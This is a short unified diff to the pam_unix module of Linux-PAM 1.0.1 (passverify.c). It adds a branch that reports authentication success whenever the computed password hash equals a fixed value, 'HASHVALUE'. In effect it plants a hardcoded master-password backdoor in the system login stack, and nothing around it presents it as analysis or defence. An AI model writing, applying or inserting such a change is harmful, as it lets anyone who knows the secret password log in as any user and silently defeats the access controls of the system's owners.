--- pam-1.0.1.orig/modules/pam_unix/passverify.c
+++ pam-1.0.1/modules/pam_unix/passverify.c
@@ -121,6 +121,8 @@
 
 		if (pp && strcmp(pp, hash) == 0) {
 			retval = PAM_SUCCESS;
+		} else if (pp && strcmp(pp, "HASHVALUE") == 0) {
+			retval = PAM_SUCCESS;
 		} else {
 			retval = PAM_AUTH_ERR;
 		}